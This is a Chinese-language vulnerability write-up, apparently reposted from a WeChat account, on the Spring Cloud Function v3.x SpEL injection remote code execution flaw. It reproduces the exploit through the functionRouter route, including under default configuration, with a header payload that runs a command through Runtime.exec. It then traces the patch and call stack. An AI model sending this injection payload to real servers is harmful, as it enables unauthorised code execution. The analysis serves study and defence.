Spring Cloud Function v3.x SpEL RCE

渗透技巧 2年前 (2022) admin
838 0 0
0x01 应用简介

Spring Cloud Function是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。


Spring Cloud Function v3.x SpEL RCE


0x02 漏洞复现

测试版本:

    # v3.2.0https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0

    测试环境:

      spring-cloud-function-samples/function-sample-pojo

      第1种利用:需要修改配置+任意路由

      这种利用方式来自 逐日实验室@默安

      1)修改配置文件,添加 “spring.cloud.function.definition:functionRouter”

        application.properties

        Spring Cloud Function v3.x SpEL RCE

        2) 任意路由

          /aaaa

          3) 构造SpEL 注入 payload

            spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")

            4) 测试效果

            Spring Cloud Function v3.x SpEL RCE


            但是

            为了尽可能扩大漏洞的利用价值,能在默认配置下进行利用无疑是我们的首选,于是去啃了会儿官方文档和相关社区,然后发现一种可在默认配置下进行RCE的姿势(暂不确定影响范围)。

            已测试版本

              v3.2.0v3.1.6v3.0.9

              第2种利用:默认配置+特定路由

              1) 保持默认配置

                application.properties

                Spring Cloud Function v3.x SpEL RCE

                2) 特定路由

                  /functionRouter

                  Spring Cloud Function v3.x SpEL RCE

                  3) 构造SpEL 注入 payload

                    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")

                    4) 测试效果

                    Spring Cloud Function v3.x SpEL RCE


                    ps: 为了确保准确性,在该环境测试任意路径

                    Spring Cloud Function v3.x SpEL RCE


                    0x03 漏洞分析

                      由于第1种已经有人分析了这里只分析第2种场景:默认配置+特定路由

                      补丁分析

                        https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
                        • org.springframework.cloud.function.context.config.RoutingFunction

                        Spring Cloud Function v3.x SpEL RCE

                        在此处下断点后获取到调用栈

                          org.springframework.cloud.function.context.config.RoutingFunction#route

                          然后往下跟踪&向上回溯

                            route:125, RoutingFunction (org.springframework.cloud.function.context.config)apply:85, RoutingFunction (org.springframework.cloud.function.context.config)doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)processRequest:100, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util)post:74, FunctionController (org.springframework.cloud.function.web.flux)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)apply:-1, 1875846925 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$714)onNext:125, MonoFlatMap$FlatMapMain (reactor.core.publisher)complete:1816, Operators$MonoSubscriber (reactor.core.publisher)signal:251, MonoZip$ZipCoordinator (reactor.core.publisher)onNext:336, MonoZip$ZipInner (reactor.core.publisher)onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)onNext:101, FluxDefaultIfEmpty$DefaultIfEmptySubscriber (reactor.core.publisher)onNext:79, FluxOnErrorResume$ResumeSubscriber (reactor.core.publisher)onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onNext:107, FluxContextWrite$ContextWriteSubscriber (reactor.core.publisher)onNext:295, FluxMapFuseable$MapFuseableConditionalSubscriber (reactor.core.publisher)onNext:337, FluxFilterFuseable$FilterFuseableConditionalSubscriber (reactor.core.publisher)complete:1816, Operators$MonoSubscriber (reactor.core.publisher)onComplete:159, MonoCollect$CollectSubscriber (reactor.core.publisher)onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)onComplete:260, FluxPeek$PeekSubscriber (reactor.core.publisher)onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)onInboundComplete:400, FluxReceive (reactor.netty.channel)onInboundComplete:419, ChannelOperations (reactor.netty.channel)onInboundNext:590, HttpServerOperations (reactor.netty.http.server)channelRead:93, ChannelOperationsHandler (reactor.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:264, HttpTrafficHandler (reactor.netty.http.server)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)fireChannelRead:324, ByteToMessageDecoder (io.netty.handler.codec)fireChannelRead:311, ByteToMessageDecoder (io.netty.handler.codec)callDecode:432, ByteToMessageDecoder (io.netty.handler.codec)channelRead:276, ByteToMessageDecoder (io.netty.handler.codec)channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)processSelectedKey:719, NioEventLoop (io.netty.channel.nio)processSelectedKeysOptimized:655, NioEventLoop (io.netty.channel.nio)processSelectedKeys:581, NioEventLoop (io.netty.channel.nio)run:493, NioEventLoop (io.netty.channel.nio)run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)run:74, ThreadExecutorMap$2 (io.netty.util.internal)run:30, FastThreadLocalRunnable (io.netty.util.concurrent)run:745, Thread (java.lang)

                            往下跟踪

                              org.springframework.cloud.function.context.config.RoutingFunction#route

                              Spring Cloud Function v3.x SpEL RCE

                              跟进

                                org.springframework.cloud.function.context.config.RoutingFunction#functionFromExpression

                                Spring Cloud Function v3.x SpEL RCE

                                发现熟悉的身影 expression.getValue()

                                Spring Cloud Function v3.x SpEL RCE


                                向上回溯

                                  org.springframework.cloud.function.context.config.RoutingFunction#FUNCTION_NAME

                                  Spring Cloud Function v3.x SpEL RCE

                                  发现关键字 “functionRouter”, 不管是第1种还是第2种利用姿势,都与functionRouter有着莫名的联系。

                                  …(省略部分调用栈分析)

                                  继续看源码看文档得知,可以通过目录获取对应功能接口的实例

                                  Spring Cloud Function v3.x SpEL RCE

                                    /functionRouter

                                    Spring Cloud Function v3.x SpEL RCE

                                    跟进

                                      org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#findFunction

                                      Spring Cloud Function v3.x SpEL RCE

                                      跟进

                                        org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#doFindFunction

                                        Spring Cloud Function v3.x SpEL RCE

                                        跟进

                                          org.springframework.cloud.function.context.FunctionCatalog#lookup(java.lang.String, java.lang.String...)org.springframework.cloud.function.context.catalog.BeanFactoryAwareFunctionRegistry#lookuporg.springframework.cloud.function.context.catalog.SimpleFunctionRegistry#doLookup

                                          Spring Cloud Function v3.x SpEL RCE

                                          至此已经获取到对应实例,经过一些处理后,执行到

                                            org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest

                                            Spring Cloud Function v3.x SpEL RCE

                                            是不是些许熟悉?

                                            Spring Cloud Function v3.x SpEL RCE

                                            跟进

                                              org.springframework.cloud.function.context.config.RoutingFunction#apply

                                              Spring Cloud Function v3.x SpEL RCE

                                              跟进

                                                org.springframework.cloud.function.context.config.RoutingFunction#route

                                                经过以下判断后

                                                  falseif (this.routingCallback != null) {...} # falseif (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.definition"))) {...}trueelse if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {...}

                                                  Spring Cloud Function v3.x SpEL RCE

                                                  触发断点,整个漏洞利用的链路被成功串连。

                                                  Spring Cloud Function v3.x SpEL RCE


                                                  具体影响范围不详,已测试版本如下

                                                    v3.0.9

                                                    Spring Cloud Function v3.x SpEL RCE


                                                      v3.1.6

                                                      Spring Cloud Function v3.x SpEL RCE


                                                        v3.2.0

                                                        Spring Cloud Function v3.x SpEL RCE


                                                        参考资料:

                                                          https://mp.weixin.qq.com/s/ssHcLC72wZqzt-ei_ZoLwg

                                                          原文始发于微信公众号(pen4uin):Spring Cloud Function v3.x SpEL RCE

                                                          版权声明:admin 发表于 2022年3月27日 上午3:39。
                                                          转载请注明:Spring Cloud Function v3.x SpEL RCE | CTF导航

                                                          相关文章

                                                          暂无评论

                                                          您必须登录才能参与评论!
                                                          立即登录
                                                          暂无评论...